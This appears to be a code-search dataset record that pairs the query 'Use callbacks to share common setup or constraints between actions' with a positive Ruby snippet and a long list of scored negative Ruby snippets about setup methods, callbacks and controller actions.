Use callbacks to share common setup or constraints between actions.
[ { "docid": "fef1d457d292486e572a26e0ce0d3053", "score": "0.0", "text": "def set_purchase_order\n @purchase_order = PurchaseOrder.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
3e14da729a8c0fe3c6ffe2c38eaa5dcc
Returns tag name of the element.
[ { "docid": "65280566ea260b6b1b2c06f6e4d05934", "score": "0.8388872", "text": "def tag_name\r\n assert_exists\r\n @element.node_name.downcase\r\n end", "title": "" } ]
[ { "docid": "afa7a51d5eaf65e071841eea5240c022", "score": "0.90476555", "text": "def tag_name\n @element.tag_name\n end", "title": "" }, { "docid": "8c44b4b0e9d2147e4ae42aa08e0aa404", "score": "0.8626305", "text": "def tag_name\n bridge.element_tag_name @id\n end", "title": "" }, { "docid": "8c44b4b0e9d2147e4ae42aa08e0aa404", "score": "0.8626305", "text": "def tag_name\n bridge.element_tag_name @id\n end", "title": "" }, { "docid": "ff0db63b5d785e1df3045a09a7d262e2", "score": "0.8560824", "text": "def tag_name\n element_call { @element.tag_name.downcase }\n end", "title": "" }, { "docid": "b4e5d28d595b8e73f97334813bf44cbd", "score": "0.8200686", "text": "def name\n element.getName\n end", "title": "" }, { "docid": "b4e5d28d595b8e73f97334813bf44cbd", "score": "0.8200686", "text": "def name\n element.getName\n end", "title": "" }, { "docid": "b4e5d28d595b8e73f97334813bf44cbd", "score": "0.8200686", "text": "def name\n element.getName\n end", "title": "" }, { "docid": "b4e5d28d595b8e73f97334813bf44cbd", "score": "0.8200686", "text": "def name\n element.getName\n end", "title": "" }, { "docid": "eb3782fad94c1797e8cd6d152c96acc7", "score": "0.8183191", "text": "def tag_name(driver = $focus_driver)\n driver.find_element(self).tag_name\n end", "title": "" }, { "docid": "4e158754a1ee27734d6fbb059066bd67", "score": "0.80986047", "text": "def name\n element.getName();\n end", "title": "" }, { "docid": "c99a49fdd5daba8cb76c74312adb0c49", "score": "0.80762637", "text": "def get_element_name(element)\n return element.attribute('name').to_s\n end", "title": "" }, { "docid": "9f51a789184ed2d798f1d47c435a8112", "score": "0.797713", "text": "def tag_name\r\n name\r\n end", "title": "" }, { "docid": "bffe3732aad136b20b02765ffcad44ae", "score": "0.79718435", "text": "def tag tag_name\n find_element :tag_name, tag_name\n end", "title": "" }, { "docid": "c1a2a3320e93ac479d73c4d28872a3c5", "score": "0.79471654", "text": "def tag_name\n @value[:name]\n end", "title": "" }, { "docid": "e95c4bf9df250b0afc83a4f0f6a3347b", "score": "0.78526413", "text": "def name\n tag\n end", "title": "" }, { "docid": "1686dc653f4fdd1180423fff9a6c8f53", "score": "0.7814904", "text": "def element_name() @node.element_name end", "title": "" }, { "docid": "987751c853e0ac3623ab4e66f4eca439", "score": "0.7803741", "text": "def tag_name\n name\n end", "title": "" }, { "docid": "7ff6e141a1a7f28fb6db812088990dbb", "score": "0.77616346", "text": "def tag_name\n get_selenium_elements[@index].tag_name\n end", "title": "" }, { "docid": "a344ade46875de671a93111b0fec01b2", "score": "0.7702395", "text": "def tag\n @tag ||= `#{self}.$element.tagName.toLowerCase()`.to_sym\n end", "title": "" }, { "docid": "a059c9a856ae46b2a94bf2d195c41c93", "score": "0.7590619", "text": "def tag_name\n tag_names.first if has_single_tag?\n end", "title": "" }, { "docid": "b8fe5d9169216cd84b6789247a20b260", "score": "0.7554236", "text": "def name\n tag[1..-1]\n end", "title": "" }, { "docid": "3a5b582cc55bc4810eb34661c9890d8b", "score": "0.75115514", "text": "def tag_name\n ActionView::Helpers::Tags::Base.new(object_name, attribute_name, nil).\n send(:tag_name)\n end", "title": "" }, { "docid": "75ceff5814970092cee2c40330c92d81", "score": "0.7419421", "text": "def tag_name; end", "title": "" }, { "docid": "75ceff5814970092cee2c40330c92d81", "score": "0.7419421", "text": "def tag_name; end", "title": "" }, { "docid": "75ceff5814970092cee2c40330c92d81", "score": "0.7419421", "text": "def tag_name; end", "title": "" }, { "docid": "75ceff5814970092cee2c40330c92d81", "score": "0.7419421", "text": "def tag_name; end", "title": "" }, { "docid": "75ceff5814970092cee2c40330c92d81", "score": "0.7419421", "text": "def tag_name; end", "title": "" }, { "docid": "9a045285712b0e0e3203103410873903", "score": "0.7409311", "text": "def tagname\n\t\treturn self.class.name.sub(/Tag$/, '').sub( /^.*::/, '' )\n\tend", "title": "" }, { "docid": "23beb712d05fba3bc8e70b02f322846a", "score": "0.73926866", "text": "def element_name\n @element_name || class_name.underscore\n end", "title": "" }, { "docid": "23beb712d05fba3bc8e70b02f322846a", "score": "0.73926866", "text": "def element_name\n @element_name || class_name.underscore\n end", "title": "" }, { "docid": "f27608e592d269d2b5bb21fc23607553", "score": "0.7381156", "text": "def tag_name\n @tag_name || self.name.downcase\n end", "title": "" }, { "docid": "406b7c6c522f2863fef311116549c9b4", "score": "0.737672", "text": "def name\n all_tags_hash['Name']\n end", "title": "" }, { "docid": "f2240ad8e389825cfa6831d136781c66", "score": "0.73742485", "text": "def getTagName\n\t forwardGroup = self.getForwardGroup\n\t forwardPolicyLevel = forwardGroup.getCorrespondingLevel\n\t tag = forwardPolicyLevel.getTag\n\n\t tag.name\n\tend", "title": "" }, { "docid": "bf29740293bfd45df7ce6ca85c8a23af", "score": "0.734484", "text": "def get_tag_name\n # Interface method\n end", "title": "" }, { "docid": "0f799b8370ac62c25aa15150d104290b", "score": "0.7322969", "text": "def element_name\n element_name = hash[:element_name]\n\n case element_name\n when Symbol, String\n return element_name.to_sym\n else\n return nil\n end\n end", "title": "" }, { "docid": "cfc7d4242f7d5191902ac4fc86211b4a", "score": "0.71682835", "text": "def element_name\n name = self.class.name.split('::').last\n name.gsub(/([A-Z])/, '-\\1').downcase[1..-1]\n end", "title": "" }, { "docid": "cab0ed00a6e76ae188fae9b1d600da3f", "score": "0.71113753", "text": "def name\n @main_element.name\n end", "title": "" }, { "docid": "0b38a078252cb99a5bc0b06be94c6563", "score": "0.70985883", "text": "def xml_element_name\n Extlib::Inflection.underscore(self.class.name)\n end", "title": "" }, { "docid": "45f8f6882016596dfa8f357e9eb6db49", "score": "0.70490456", "text": "def xml_name(element)\n (ns, local_name) = Tilia::Xml::Service.parse_clark_notation(element)\n if @namespace_map.key?(ns)\n prop_name = \"#{@namespace_map[ns]}:#{local_name}\"\n else\n prop_name = element\n end\n \"<span title=\\\"#{h(element)}\\\">#{h(prop_name)}</span>\"\n end", "title": "" }, { "docid": "293adf7dd47efe96d5a93c97c6d49f89", "score": "0.7038193", "text": "def name\n _name = nil\n self.tags.each do |x|\n if x.tkey == \"name\"\n _name = x.tvalue\n end\n end\n _name\n end", "title": "" }, { "docid": "9fba37ba3d6878fe124319f491a00839", "score": "0.6999265", "text": "def tag_name\n if is_leaf? && @tag_name.nil?\n @tag_name = \"#{self.record_table_name}[#{self.name}]\"\n end\n @tag_name\n end", "title": "" }, { "docid": "30b79dec4d0b0d78647a53182136bb41", "score": "0.698777", "text": "def tag_name\n tag.name if tag\nend", "title": "" }, { "docid": "d39686452ca5512d38811bb671849380", "score": "0.6983265", "text": "def tag_name\n return @tag if @tag\n\n script = 'return arguments[0].tagName'\n @tag = @session.execute_script(script, self)\n @tag\n end", "title": "" }, { "docid": "ba908c84f7cc21c3460aac2f8b08d20b", "score": "0.6954189", "text": "def name_with_tag_name\n tag = Tag.find_by_id(tag_id)\n \"#{name} (#{tag.name})\"\n end", "title": "" }, { "docid": 